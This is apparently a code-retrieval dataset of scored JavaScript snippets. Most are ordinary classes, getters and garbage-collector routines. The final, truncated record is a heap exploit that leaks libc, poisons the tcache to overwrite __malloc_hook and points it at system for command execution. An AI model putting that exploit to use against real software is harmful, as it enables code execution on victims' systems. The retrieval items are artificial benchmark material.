1,\n\t\t\t\t\t\tmax: 100\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Layer',\n\t\t\t\t\t\tid: 'layer',\n\t\t\t\t\t\tdefault: 0,\n\t\t\t\t\t\tmin: -10,\n\t\t\t\t\t\tmax: 10\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t'READ': { label: 'Take sequencer item to air (READ)' },\n\t\t\t'NEXT': { label: 'Take sequencer item to air and advance next (NEXT)' },\n\t\t\t'SEQO': {\n\t\t\t\tlabel: 'Take take item off air (SEQO)',\n\t\t\t\toptions: [\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'Take ID',\n\t\t\t\t\t\tid: 'takeID',\n\t\t\t\t\t\tdefault: 0,\n\t\t\t\t\t\tmin: 0,\n\t\t\t\t\t\tmax: 9999\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t},\n\t\t\t'GPI': {\n\t\t\t\tlabel: 'Trigger simulated GPI (GPI)',\n\t\t\t\toptions: [\n\t\t\t\t\t{\n\t\t\t\t\t\ttype: 'number',\n\t\t\t\t\t\tlabel: 'GPI',\n\t\t\t\t\t\tid: 'gpi',\n\t\t\t\t\t\tdefault: 0,\n\t\t\t\t\t\tmin: 0,\n\t\t\t\t\t\tmax: 9999\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t}\n\t\t};\n\n\t\treturn actions;\n\t}", "title": "" }, { "docid": "53d8d57ca69f0027b9f185c26184670b", "score": "0.44782904", "text": "function RendererType2(){}", "title": "" }, { "docid": "53d8d57ca69f0027b9f185c26184670b", "score": "0.44782904", "text": "function RendererType2(){}", "title": "" }, { "docid": "53d8d57ca69f0027b9f185c26184670b", "score": "0.44782904", "text": "function RendererType2(){}", "title": "" }, { "docid": "53d8d57ca69f0027b9f185c26184670b", "score": "0.44782904", "text": "function RendererType2(){}", "title": "" }, { "docid": "a5a7f2f3f49976358b45c78b94b5be3b", "score": "0.44701168", "text": "set reflections(value) {}", "title": "" }, { "docid": "6b6ab6d1e3c3d3c4c9db19546007a986", "score": "0.44687268", "text": "collectWidgetDescriptor( ref, descriptor ) {\n if( !enabled ) { return; }\n currentPageInfo.widgetDescriptors[ ref ] = descriptor;\n }", "title": "" }, { "docid": "630a8bcfae07abe25f987bb8e23467fb", "score": "0.44665655", "text": "initFanCapabilities() {\n this.addCapability(FanCapabilities.POWER_CONTROL, true);\n this.addCapability(FanCapabilities.FAN_SPEED_CONTROL, true);\n this.addCapability(FanCapabilities.FAN_SPEED_RPM_REPORTING, true);\n this.addCapability(FanCapabilities.FAN_LEVEL_CONTROL, true);\n this.addCapability(FanCapabilities.NUMBER_OF_FAN_LEVELS, 4);\n this.addCapability(FanCapabilities.OSCILLATION_CONTROL, true);\n this.addCapability(FanCapabilities.OSCILLATION_ANGLE_CONTROL, true);\n this.addCapability(FanCapabilities.OSCILLATION_ANGLE_RANGE, [30, 120]);\n this.addCapability(FanCapabilities.LEFT_RIGHT_MOVE, true);\n this.addCapability(FanCapabilities.NATURAL_MODE, true);\n this.addCapability(FanCapabilities.CHILD_LOCK, true);\n this.addCapability(FanCapabilities.POWER_OFF_TIMER, true);\n this.addCapability(FanCapabilities.POWER_OFF_TIMER_UNIT, 'seconds');\n this.addCapability(FanCapabilities.BUZZER_CONTROL, true);\n this.addCapability(FanCapabilities.LED_CONTROL, true);\n this.addCapability(FanCapabilities.LED_CONTROL_BRIGHTNESS, true);\n this.addCapability(FanCapabilities.IONISER_CONTROL, true);\n this.addCapability(FanCapabilities.TEMPERATURE_REPORTING, true);\n this.addCapability(FanCapabilities.HUMIDITY_REPORTING, true);\n this.addCapability(FanCapabilities.BUILT_IN_BATTERY, true);\n }", "title": "" }, { "docid": "31a90e1921fa8cc74d2d6fdf96f65b3e", "score": "0.44636717", "text": "constructor(name, type, evolutions) {\n// palabra this es para hacer referencia a que valor que hace referencia a los atributos\n this.#name = name;\n // Despues del = hace referencia a contructor\n this.#type = type;\n this.#evolutions = evolutions;\n }", "title": "" }, { "docid": "c493654d66eafa7861ac4f3d4d09db18", "score": "0.44575515", "text": "constructor(obj:any, app:Object|void) {\r\n\r\n\t\tsuper(new WeakMap());\r\n\r\n\t\tif (typeof app == 'object') {\r\n\r\n\t\t\tthis.app = app;\r\n\t\t\tthis.visuals = this.app.client.visuals;\r\n\t\t\tthis.graphics = this.app.client.graphics;\r\n\r\n\t\t}\r\n\r\n\t\tif (typeof obj !='undefined') {\r\n\r\n\t\t\t[this.update,this.draw,this.init,this.name,this.html] = [obj.update,obj.draw,obj.init,obj.name,obj.html];\r\n\r\n\t\t}\r\n\r\n\t\treturn (this:IState);\r\n\r\n\t}", "title": "" }, { "docid": "efebbcab786cd1f32468613876e0f49e", "score": "0.44544458", "text": "static get properties() {\n return {\n editor: {\n type: Object,\n value: null\n },\n hidden: {\n type: Boolean,\n value: true,\n reflectToAttribute: true\n },\n observer: {\n type: Object,\n value: null\n },\n range: {\n type: Object,\n value: null,\n observer: \"_updateToolbar\"\n },\n toolbar: {\n type: Object,\n value: null\n }\n };\n }", "title": "" }, { "docid": "5c1c3d4f0621b64ac511bce4547f5488", "score": "0.44542155", "text": "function FC(t,e){var n=Object.keys(t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(t);e&&(a=a.filter(function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable})),n.push.apply(n,a)}return n}", "title": "" }, { "docid": "96a9055cc2600788d616fa4880bc6f2e", "score": "0.44470137", "text": "function fc() {\n\t\treturn {\n\t\t\ttype: 'FeatureCollection',\n\t\t\tfeatures: [ feature() ]\n\t\t};\n\t}", "title": "" }, { "docid": "ca529165d7d4293e1072f3fb9d0126de", "score": "0.4443629", "text": "static get properties() {\n return {\n title: { type: String },\n invert: { type: Boolean, reflect: true },\n icon: { type: String },\n link: { type: String },\n iconEnable: { type: Boolean, reflect: true },\n disabled: { type: Boolean, reflect: true },\n };\n }", "title": "" }, { "docid": "a922a8a85a51f0060343d125b6000633", "score": "0.44420767", "text": "get extensible () {\n\t\treturn this._extensible;\n\t}", "title": "" }, { "docid": "585b81846883998892f5a4766bc969ac", "score": "0.44414443", "text": "getInfo(){\r\n \tsuper.getInfo();\r\n \tconsole.log(\"it has \" + this.lightSourceType + \" type of bulb\");\r\n }", "title": "" }, { "docid": "9d7d9ca568fd31bcfe9b896ef4264bd8", "score": "0.44413203", "text": "function dispatcher () {\n this.attribute_all_parts = null,\n this.all_parts = function () { return attribute_all_parts; },\n this.set_all_parts = function (val) { this.attribute_all_parts = val; },\n this.attribute_top_node = null,\n this.top_node = function () { return attribute_top_node; },\n this.set_top_node = function (val) { this.attribute_top_node = val; }\n}", "title": "" }, { "docid": "667fcfb5e877f503621341f315093ab7", "score": "0.44404036", "text": "function DeviceData(){\n this.id=\"nothing\";\n this.status=\"nothing\";\n this.currentBeat=-1;\n this.geometry={\n fullDisplay: false,\n position: -1,\n myWidth: myWidth,\n displayWidth: devWidth,\n marginLeft: marginLeft,\n marginRight: marginRight,\n myHeight: devHeight,\n startX: -1,\n endX: -1\n };\n this.offersChanged=false;\n}", "title": "" }, { "docid": "e02d59d5651894605a1f9ba0184be301", "score": "0.44329375", "text": "function ff2 (...r) { return r; }", "title": "" }, { "docid": "9212049a472aeb80e18f4a00b1b117f6", "score": "0.44321707", "text": "get extra() {\n return this._obj.extra;\n }", "title": "" }, { "docid": "317f8dd78c70bc9cf6f846798a132042", "score": "0.44276094", "text": "function RendererType2() { }", "title": "" }, { "docid": "317f8dd78c70bc9cf6f846798a132042", "score": "0.44276094", "text": "function RendererType2() { }", "title": "" }, { "docid": "28f7eba448311de597dfdfd091048324", "score": "0.44233716", "text": "get actions() {\n const actions = this._actions;\n const fn_list = (actions.functions || []).map(i => (Object.assign(Object.assign({}, i), { args: Object.assign({}, i.args) })));\n const mail_list = (actions.mailers || []).map(i => (Object.assign(Object.assign({}, i), { emails: [...i.emails] })));\n return { functions: fn_list, mailers: mail_list };\n }", "title": "" }, { "docid": "7907956cceaa8155a2d659e22d95cc39", "score": "0.442183", "text": "function Fo(e,t){var n={};for(var l in e)Object.prototype.hasOwnProperty.call(e,l)&&t.indexOf(l)<0&&(n[l]=e[l]);if(null!=e&&\"function\"==typeof Object.getOwnPropertySymbols){var o=0;for(l=Object.getOwnPropertySymbols(e);o<l.length;o++)t.indexOf(l[o])<0&&Object.prototype.propertyIsEnumerable.call(e,l[o])&&(n[l[o]]=e[l[o]])}return n}", "title": "" }, { "docid": "e13cdbb6b4764fc2b042e3cb64696f54", "score": "0.4420824", "text": "function Faction(factionID, name, loyalty, influence, taxLevel, enabled)\n{\n this.factionID = factionID;\n this.name = name;\n this.loyalty = loyalty;\n this.influence = influence;\n this.taxLevel = taxLevel;\n this.enabled = enabled;\n}", "title": "" }, { "docid": "0a5370abbce544b3a4cabb2d4f7f7627", "score": "0.44203797", "text": "function Sub2() {\n Base.apply(this, arguments);\n// this.color = 'green';\n }", "title": "" }, { "docid": "f1b99df971e0ddaf35349a41d8fb298a", "score": "0.4419471", "text": "constructor(name, type,bhp) {\r\n super(name);\r\n this.type = type; //instance properties\r\n this.bhp = bhp;\r\n }", "title": "" }, { "docid": "b1a9ec2b157a539569f9edbd48449525", "score": "0.44169003", "text": "emit(type, args) {\n if (typeof type === 'object') {\n const event = new FFEvent(type);\n this.target.emit(event.type, event);\n } else {\n this.target.emit(type, args);\n }\n }", "title": "" }, { "docid": "5380ca1e497768547ce6c6d7703bbcdd", "score": "0.4416285", "text": "function i(t,e,n){(n?Reflect.getOwnMetadataKeys(e,n):Reflect.getOwnMetadataKeys(e)).forEach((function(r){var o=n?Reflect.getOwnMetadata(r,e,n):Reflect.getOwnMetadata(r,e);n?Reflect.defineMetadata(r,o,t,n):Reflect.defineMetadata(r,o,t)}))}", "title": "" }, { "docid": "008a1ac1f64d7d71eb642aede5e232b9", "score": "0.44136965", "text": "static Ps(t, e, s, n) {\n const i = [];\n return e.forEach(t => {\n i.push({\n type: 0 /* Added */ ,\n doc: t\n });\n }), new Fe(t, e, De.ws(e), i, s, n, \n /* syncStateChanged= */ !0, \n /* excludesMetadataChanges= */ !1);\n }", "title": "" }, { "docid": "259790dcd604f99157e0c9e173df39d4", "score": "0.44129825", "text": "constructor() {\n // super({name: 'bold', nodeType: 'bold'})\n super({name: 'markup', nodeType: 'ext-link'})\n\t\tthis.annotationData = {}\n }", "title": "" }, { "docid": "eef4687b13b1d3e82f6badfb2774daf0", "score": "0.44122502", "text": "function reflect(){\n\toutlet(OUTLET_GUI, \"nodes\", \"clear\");\n\toutlet(OUTLET_GUI, \"text\", \"clear\");\n\toutlet(OUTLET_GUI, \"attributes\", \"clear\");\n\n\toutlet(OUTLET_GUI, \"window\",\"front\");\n\n\toutlet(OUTLET_MARKER, \"getmarkerlist\");\n\trecall();\n}", "title": "" }, { "docid": "e3e2bb4d0241a12cbb016aa67b1e7dca", "score": "0.44100288", "text": "function Composition() {}", "title": "" }, { "docid": "042f74045256582e54fcfd19f31ef61a", "score": "0.44097802", "text": "addFadingProperties() {\n Object.defineProperty(this, \"fadeNear\", {\n get: () => {\n return this.getFadeNear();\n },\n set: val => {\n this.setFadeNear(val);\n }\n });\n Object.defineProperty(this, \"fadeFar\", {\n get: () => {\n return this.getFadeFar();\n },\n set: val => {\n this.setFadeFar(val);\n }\n });\n }", "title": "" }, { "docid": "296b92e1f089d058cc91cdaa9533ef87", "score": "0.44076464", "text": "function CoffeeFlavor( newFlavor ){\n\n var flavor = newFlavor;\n\n // If an interface has been defined for a feature\n // implement the feature\n if( typeof this.getFlavor === \"function\" ){\n this.getFlavor = function() {\n return flavor;\n };\n }\n\n if( typeof this.serveCoffee === \"function\" ){\n this.serveCoffee = function( context ) {\n console.log(\"Serving Coffee flavor \"\n + flavor\n + \" to table number \"\n + context.getTable());\n };\n }\n\n}", "title": "" }, { "docid": "b9f9a5e139e98f04853ff07707a854a3", "score": "0.43991166", "text": "function VerbierDataManager() {\n\t\n\tEventDispatcher.call( this );\n}", "title": "" }, { "docid": "fe85553260a004b8a79f081f92fe6328", "score": "0.43946695", "text": "constructor () {\n\n /**** Private Attributes *************************************************************************************/\n\n const channelsInfo = {}\n\n /**** Private Methods ****************************************************************************************/\n\n /**\n * Validates if an object is as channel info definition\n *\n * @param {ChannelInfo} channelInfo\n * @returns {boolean}\n */\n function isValidChannelInformation(channelInfo) {\n\n /* attribute entity registers tha responsible entity*/\n if (typeof channelInfo.entity === 'undefined' ) {\n return false\n }\n\n /* attribute name must exist and represent the channel name */\n if (typeof channelInfo.name === 'undefined' ) {\n return false\n }\n\n /* require field must be an string array with the required attributes expressed as a string */\n return (typeof channelInfo.require === 'undefined' || channelInfo.require.constructor === Array);\n }\n\n /**\n * Register channel(s) into the bus allowing the discovery by entity and by channel name\n *\n * @param {ChannelInfo[]} channels\n * @returns {String[]} List of the registered channels (entity.name)\n */\n function register(channels) {\n const registeredChannels = []\n if (channels.constructor !== Array) {\n channels = [channels]\n }\n\n channels.forEach((channel) => {\n if (isValidChannelInformation(channel)) {\n const channelInfo = Object.assign({}, channel)\n const entity = channelInfo.entity\n const name = channelInfo.name\n delete channelInfo.entity\n delete channelInfo.name\n channelInfo.channel = new Channel(entity, name)\n if (typeof channelInfo.listener !== 'undefined') {\n channelInfo.channel.addListener(channelInfo.listener)\n }\n\n if (!channelsInfo.hasOwnProperty(entity)) {\n Reflect.set(channelsInfo, entity, {})\n }\n const entityObj = Reflect.getOwnPropertyDescriptor(channelsInfo, entity).value\n if (!entityObj.hasOwnProperty(name)) {\n Reflect.set(entityObj, name, channelInfo)\n registeredChannels.push(`${entity}.${name}`)\n }\n }\n })\n\n return registeredChannels\n }\n\n /**\n * Check if a entity channel list and / or a specific channel exists\n *\n * @param {string} entity Entity name to search for\n * @param {string|null} channelName Channel name to search for\n * @returns {boolean}\n */\n function exists(entity, channelName) {\n if (channelsInfo.hasOwnProperty(entity)) {\n if (channelName !== null) {\n return get(entity, channelName) !== null\n } else {\n return true\n }\n }\n return false\n }\n\n /**\n * Get a channel to work with\n *\n * @param {string} entity Entity name to search for\n * @param {string=} channelName Channel name to search for\n * @returns {ChannelClass|null}\n */\n function get(entity, channelName) {\n if (channelsInfo.hasOwnProperty(entity)) {\n const entityInfo = Reflect.getOwnPropertyDescriptor(channelsInfo, entity).value\n if (entityInfo.hasOwnProperty(channelName)) {\n return Reflect.getOwnPropertyDescriptor(entityInfo, channelName).value.channel\n }\n }\n return null\n }\n\n /**** Privileged Methods *************************************************************************************/\n\n /**\n * Register channel(s) into the bus allowing the discovery by entity and by channel name\n *\n * @param {ChannelsInfo} channelsInfo\n */\n this.register = (channelsInfo = []) => register(channelsInfo)\n\n /**\n * Check if a entity channel list and / or a specific channel exists\n *\n * @param {string} entity Entity name to search for\n * @param {string|null} channelName Channel name to search for\n * \n * @returns {boolean}\n */\n this.exists = (entity, channelName = null) => exists(entity, channelName)\n\n /**\n * Get a channel to work with\n *\n * @param {string} entity Entity name to search for\n * @param {string=} channelName Channel name to search for\n * @returns {ChannelClass|null}\n */\n this.get = (entity, channelName) => get(entity, channelName)\n\n /**** Test Area **********************************************************************************************/\n\n if (process.env.NODE_ENV === 'test') {\n // Allow unit test mocking\n this.__test__ = {\n channelsInfo: channelsInfo,\n }\n }\n\n }", "title": "" }, { "docid": "5d440bf5328115784e803bee312233d0", "score": "0.43946582", "text": "function expandInterface(prop, action) {\n if(!originalXDK.hasOwnProperty(prop)) {\n Object.defineProperty( originalXDK, prop, {\n get: action\n });\n }\n }", "title": "" }, { "docid": "915f61c5737fc6c3f6a57ce121fdc1dc", "score": "0.43899843", "text": "function Gadget (name, color) {\n this.name = name;\n this.color = color;\n this.whatAreYou = function(){\n return 'I am a ' + this.color + ' ' + this.name;\n };\n}", "title": "" }, { "docid": "d4cace35e35c110331953df7e7533575", "score": "0.43892178", "text": "getParts() {\n return [WORK, CARRY, MOVE];\n }", "title": "" }, { "docid": "9c20d3e461a4e6c0c841d26e5efcecb9", "score": "0.43837488", "text": "_featChatData() {\n const data = duplicate(this.data.data),\n ad = this.actor.data.data;\n\n/* let traits = [];\n if ((data.traits.value || []).length != 0) {\n traits = duplicate(data.traits.value);\n for(var i = 0 ; i < traits.length ; i++){\n traits[i] = traits[i].charAt(0).toUpperCase() + traits[i].substr(1);\n } \n } */\n\n // Feat properties\n let props = [\n `Level ${data.level.value || 0}`,\n data.actionType.value ? CONFIG.actionTypes[data.actionType.value] : null\n ];\n //if (traits.length != 0) props = props.concat(traits);\n\n data.properties = props.filter(p => p);\n\n let traits = []; \n if ((data.traits.value || []).length != 0) { \n for(var i = 0 ; i < data.traits.value.length ; i++){\n let traitsObject = {\n \"label\": CONFIG.featTraits[data.traits.value[i]] || (data.traits.value[i].charAt(0).toUpperCase() + data.traits.value[i].slice(1)),\n \"description\": CONFIG.traitsDescriptions[data.traits.value[i]] || \"\"\n }; \n traits.push(traitsObject);\n } \n }\n data.traits = traits.filter(p => p);\n return data;\n }", "title": "" }, { "docid": "867b51fe2b61935af8a98b3f0548814e", "score": "0.43837127", "text": "function fm(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(a){return Object.getOwnPropertyDescriptor(e,a).enumerable})),n.push.apply(n,r)}return n}", "title": "" }, { "docid": "f5e7b213b657657d1f88041b7e133a6c", "score": "0.4383161", "text": "render() {\n\n const funcProps = {\n handleSetCurrNote: this.handleSetCurrNote,\n handleDeleteNote: this.handleDeleteNote,\n handleUpdateNote: this.handleUpdateNote,\n // ..\n };\n\n const allProps = {\n ...funcProps,\n ...this.props,\n };\n\n return (\n <div>\n <NoteView {...allProps} />\n </div>\n );\n }", "title": "" }, { "docid": "bbff8365063d793325f5f19b704e4672", "score": "0.4381949", "text": "acceptProperties(...ar) {\r\n\r\n ar.forEach(p => {\r\n if (typeof (p) === \"string\") {\r\n p = {\r\n name: p\r\n }\r\n }\r\n\r\n let ix = this.acceptedProperties.indexOf(a => {\r\n return e.name === p.name\r\n })\r\n\r\n if (ix === -1) {\r\n this.acceptedProperties.push(p);\r\n\r\n // if (this.context.field[p.name] !== undefined || p.default) {\r\n // this[p.name] = this._processProp(p.name, this.context.field[p.name] || p.default);\r\n // }\r\n }\r\n else {\r\n // merge new (subclassed) accepted properties\r\n this.acceptedProperties[ix] = {\r\n ...this.acceptedProperties[ix],\r\n ...p\r\n }\r\n\r\n }\r\n\r\n if (typeof (this.context.field[p.name]) !== \"undefined\") {\r\n this[p.name] = this._processProp(p.name, this.context.field[p.name]);\r\n }\r\n else if (typeof (p.default) !== \"undefined\") {\r\n this[p.name] = this._processProp(p.name, p.default);\r\n }\r\n\r\n });\r\n }", "title": "" }, { "docid": "7cdcc69f2c57ec88dcdcb7bddfd44137", "score": "0.43781453", "text": "protocols() {\n\n }", "title": "" }, { "docid": "73c2b00abdca76b5efb6b9f982ce8a1e", "score": "0.43746853", "text": "function FeedCard({text, user, createdAt, favoriteCount, favorite })\n{ return (<Root>\n <FeedCardHeader {...user} createdAt={createdAt} />\n < CardContentContainer >\n <CardContentText> {text}</CardContentText>\n </CardContentContainer>\n < FeedCardBottom favoriteCount={favoriteCount} onFavoritePress={favorite}/>\n </Root>\n );\n \n}", "title": "" }, { "docid": "ef5eaa45615bba392ff64a6e9e9888b5", "score": "0.4370538", "text": "static get observedAttributes () {\n return ['options', 'type', 'MenuDisplay']\n }", "title": "" }, { "docid": "e324eac3423aa7d9c6e500da25ccf57a", "score": "0.43701622", "text": "function Vegetable(){\r\n\t// defines the object\r\n}", "title": "" }, { "docid": "ba53a1bf1a28e1abc19545f420297b4b", "score": "0.43647072", "text": "function Ferret(name, age, foodRequirements) {\n this.name = name;\n this.age = age;\n this.foodRequirements = foodRequirements;\n}", "title": "" }, { "docid": "8f912500846dd8838e203d675e88e9d9", "score": "0.43628022", "text": "constructor() { \n \n BaseDrawAllOf.initialize(this);\n }", "title": "" }, { "docid": "71ef4a6a119aa257e427499b066795ca", "score": "0.43624645", "text": "messageFinger(f, fn, pick){\n\t\tlet fm = {}\n\t\tfor(let key in f) fm[key] = f[key]\n\t\tfm.fn = fn\n\t\tfm.pileupTime = Date.now()\n\t\tif(pick){\n\t\t\tfm.pickId = pick.pickId\n\t\t\tfm.todoId = pick.todoId\n\t\t\tfm.workerId = pick.workerId\n\t\t}\n\t\treturn fm\n\t}", "title": "" } ]
66b51334bcbac142b32bddee87001b5d
dynamic area handled by sbrk
[ { "docid": "456d9ceb45666e8e42dc3a04445c1e74", "score": "0.0", "text": "function abortOnCannotGrowMemory() {\n abort('Cannot enlarge memory arrays. Either (1) compile with -s TOTAL_MEMORY=X with X higher than the current value ' + TOTAL_MEMORY + ', (2) compile with -s ALLOW_MEMORY_GROWTH=1 which adjusts the size at runtime but prevents some optimizations, (3) set Module.TOTAL_MEMORY to a higher value before the program runs, or if you want malloc to return NULL (0) instead of this abort, compile with -s ABORTING_MALLOC=0 ');\n}", "title": "" } ]
[ { "docid": "490e35ac02c4eba4c34ad6e127744566", "score": "0.54850554", "text": "function ALLOCATE_TO_RECYCLABLE() {\n for (I = 0; I < NUMBER_OF_BLOCKS; I = I + 1) {\n if ( // if block is free or recyclable,\n HEAP[I * BLOCK_SIZE + BLOCK_STATE_SLOT] === RECYCLABLE\n ) {\n // find k-sized hole\n SCAN = I * BLOCK_SIZE + HEAP[I * BLOCK_SIZE + FIRST_CHILD_SLOT];\n while (SCAN <= I * BLOCK_SIZE + HEAP[I * BLOCK_SIZE + LAST_CHILD_SLOT]) {\n // if line is free/empty\n if (HEAP[SCAN + LINE_LIMIT_SLOT] === HEAP[SCAN + LINE_ADDRESS_SLOT]) {\n // set bump head to end of previous line\n BUMP_HEAD = SCAN === I * BLOCK_SIZE + HEAP[I * BLOCK_SIZE + FIRST_CHILD_SLOT] // if first line\n ? HEAP[SCAN + LINE_ADDRESS_SLOT]\n : HEAP[SCAN - LINE_BK_SIZE + LINE_LIMIT_SLOT];\n ALLOCATE_BUMP_TAIL();\n\n if (BUMP_HEAD + K <= BUMP_TAIL) {\n return undefined;\n } else {\n A = BUMP_TAIL - 1;\n GET_LINE();\n SCAN = RES + LINE_BK_SIZE; // get previous line but increment manually\n }\n } else {\n SCAN = SCAN + LINE_BK_SIZE;\n }\n }\n } else {}\n }\n}", "title": "" }, { "docid": "f7ef253b9d8fdb7ec61fb120c44f6ce4", "score": "0.5343125", "text": "function ALLOCATE_BUMP_HEAD_AND_TAIL() {\n // finds a hole (one or more free lines) and allocate new bump head and tail\n SCAN = A + HEAP[A + FIRST_CHILD_SLOT];\n while (SCAN <= A + HEAP[A + LAST_CHILD_SLOT]) {\n // if line is free/empty\n if (HEAP[SCAN + LINE_LIMIT_SLOT] === HEAP[SCAN + LINE_ADDRESS_SLOT]) {\n // set bump head to start of line\n BUMP_HEAD = HEAP[SCAN + LINE_ADDRESS_SLOT];\n ALLOCATE_BUMP_TAIL();\n break;\n } else {\n SCAN = SCAN + LINE_BK_SIZE;\n }\n }\n}", "title": "" }, { "docid": "8556f63027395afcd92f7db431eb7939", "score": "0.53079724", "text": "function NEW() {\n J = A;\n K = B;\n if (BUMP_HEAD + K > BUMP_TAIL) {\n // if the hole is too small for the new node\n // visualize_heap(\"hello\");\n GET_FREE_BLOCK();\n if (K > LINE_SIZE && RES !== NO_BLOCK_FOUND) {\n // use overflow allocator\n return ALLOCATE_OVERFLOW();\n } else {\n // set bump_head block to occupied\n }\n\n A = BUMP_HEAD - 1; // possible for BUMP_HEAD to overflow into next block if block is fully filled\n GET_BLOCK();\n HEAP[RES + BLOCK_STATE_SLOT] = OCCUPIED;\n ALLOCATE_TO_RECYCLABLE();\n } else {}\n\n if (BUMP_HEAD + K > BUMP_TAIL) {\n GET_FREE_BLOCK();\n if (RES === NO_BLOCK_FOUND) {\n // mark and granular sweep\n display(\"Collecttttttt\");\n MARK();\n FREE_REGION();\n } else {\n ALLOCATE_TO_FREE();\n }\n } else {}\n\n // if still no space for allocation\n if (BUMP_HEAD + K > BUMP_TAIL) {\n STATE = OUT_OF_MEMORY_ERROR;\n RUNNING = false;\n error(\"reached oom\");\n } else {}\n\n HEAP[BUMP_HEAD + TAG_SLOT] = J;\n HEAP[BUMP_HEAD + SIZE_SLOT] = K;\n // TODO: remove assigning mark slot from NEW_* functions\n HEAP[BUMP_HEAD + MARK_SLOT] = UNMARKED;\n\n // update line limits\n A = BUMP_HEAD;\n GET_LINE();\n A = RES;\n GET_BLOCK();\n // loop through all lines and set line limits\n while (A <= RES + HEAP[RES + LAST_CHILD_SLOT] &&\n HEAP[A + LINE_ADDRESS_SLOT] + LINE_SIZE <= BUMP_HEAD + HEAP[BUMP_HEAD + SIZE_SLOT]) {\n // lines are filled\n HEAP[A + LINE_LIMIT_SLOT] = HEAP[A + LINE_ADDRESS_SLOT] + LINE_SIZE;\n A = A + LINE_BK_SIZE;\n }\n // update the last line to the actual occupied size\n HEAP[A + LINE_LIMIT_SLOT] = BUMP_HEAD + K;\n\n // set block state\n HEAP[RES + BLOCK_STATE_SLOT] = RECYCLABLE;\n // return\n RES = BUMP_HEAD;\n BUMP_HEAD = BUMP_HEAD + K;\n}", "title": "" }, { "docid": "9e712b56eeae32088bac900a15226aee", "score": "0.5230502", "text": "function FREE_REGION() {\n // granular collection\n // free blocks\n for (I = 0; I < NUMBER_OF_BLOCKS; I = I + 1) {\n if (HEAP[I * BLOCK_SIZE + MARK_SLOT] === UNMARKED) {\n // if block is not MARKED, set state to FREE\n HEAP[I * BLOCK_SIZE + BLOCK_STATE_SLOT] = FREE;\n } else {\n // assume OCCUPIED\n HEAP[I * BLOCK_SIZE + BLOCK_STATE_SLOT] = OCCUPIED;\n\n // free lines in non-free block\n for (\n // line pseudo node address in SCAN\n SCAN = HEAP[I * BLOCK_SIZE + FIRST_CHILD_SLOT];\n SCAN < HEAP[I * BLOCK_SIZE + LAST_CHILD_SLOT];\n SCAN = SCAN + LINE_BK_SIZE\n ) {\n if (HEAP[SCAN + LINE_MARK_SLOT] === UNMARKED) {\n // free line not marked\n HEAP[SCAN + LINE_LIMIT_SLOT] = HEAP[SCAN + LINE_ADDRESS_SLOT];\n // set block to recyclable\n HEAP[I * BLOCK_SIZE + BLOCK_STATE_SLOT] = RECYCLABLE;\n } else {}\n // unmark line\n HEAP[SCAN + LINE_MARK_SLOT] = UNMARKED;\n }\n }\n // unmark whole block\n HEAP[I * BLOCK_SIZE + MARK_SLOT] = UNMARKED;\n }\n\n // finds a hole of at least k size and allocate new bump head and tail\n ALLOCATE_TO_RECYCLABLE();\n // if hole found still too small, allocate to a free block\n if (BUMP_HEAD + K > BUMP_TAIL) {\n ALLOCATE_TO_FREE();\n } else {}\n}", "title": "" }, { "docid": "06450c89ef9825c6aef8633fa92c6185", "score": "0.52145714", "text": "function main() {\n // Find which container had his fake chunks modified by the free.\n // Its fake SMALL bins are now either free or contain v8 values.\n // The BIG chunk is in the tcache, we'll use it to write __malloc_hook.\n for(var i = 0; i < containers.length; i++) {\n leak = i64(ptr(containers[i], target_offsets[0] + 0x10));\n if(leak.toString() != '0x0000000044440050') {\n break;\n }\n }\n if(i == containers.length)\n return 'ERR_CONTAINER_NOT_FOUND';\n\n var container = containers[i];\n // DBG: Mark this container to find it via gdb\n container[0] = 0xff;\n\n var dleaks = new Array(0x1000).fill(new ArrayBuffer(0x10));\n var k = 0;\n var dbufs = [];\n\n // We're looking to leak libc AND stack and overwrite both using tcache\n var libc_leak;\n\n find_leak: {\n for(var hope = 0; hope < 10; hope++) {\n // Look for a v8 heap address in 0x40 bins\n for(i = 0; i < target_offsets.length; i++) {\n dleaks[k++] = target_offsets[i];\n for(var j = 0; j < 2; j++) {\n var leak = ptr(container, target_offsets[i] + 0x10 + j * 8);\n dleaks[k++] = i64(leak).toString();\n // Half-decent heuristic\n if(\n leak[7] == 0x00\n && leak[6] == 0x00\n && leak[5] == 0x7f\n && leak[0] != 0x00\n ) {\n // MASK\n leak[0] = 0\n leak[1] &= 0xf0;\n libc_leak = i64(leak);\n break find_leak;\n }\n }\n }\n // Creates SMALL chunks\n dbufs.push(new ArrayBuffer(0x05));\n }\n }\n\n if(!libc_leak)\n throw 'ERR_NO_LIBC_LEAK'; // dleaks.slice(0, k);\n\n // Compute addresses\n\n // We don't point to &__malloc_hook but a bit before, because our block\n // would overwrite a part of main_arena with zeros.\n var addr_malloc_hook = i64(libc_leak);\n addr_malloc_hook.assignAdd(\n addr_malloc_hook, OFF_MALLOC_HOOK - OFF_BASE_RW - (FAKE_BIG_SIZE - 0x10)\n );\n\n var addr_system = i64(libc_leak);\n addr_system.assignSub(addr_system, OFF_BASE_RW - OFF_SYSTEM);\n\n var tcache_BIG_offset = target_offsets[target_offsets.length - 1] + 0x10;\n\n // Overwrite tcache_entry->next of the BIG chunk\n container.set(addr_malloc_hook.bytes(), tcache_BIG_offset);\n\n // There are at most 7 entries in the 0x100 tcache. We control one of them.\n // We have overwritten the tcache_entry->next pointer of said chunk.\n // Just allocate until the next blocks get allocated at our desired address.\n // We could get screwed if our chunk is the last of the 7.\n for(var i=0; i < 6; i++) {\n new ArrayBuffer(FAKE_BIG_SIZE - 8);\n if(i64(ptr(container, tcache_BIG_offset)).toString() != addr_malloc_hook.toString()) {\n break;\n }\n }\n\n if(i == 6)\n throw 'ERR_WRITE_0x100';\n\n // Convert the Int64 address into a JS integer. It fits.\n var cmd_addr = parseInt(container_addr.toString().substr(6), 16);\n\n // Write our command at the beginning of the container.\n // TODO we should reserve a space for this, this overwrites fake chunks...\n var cmd = 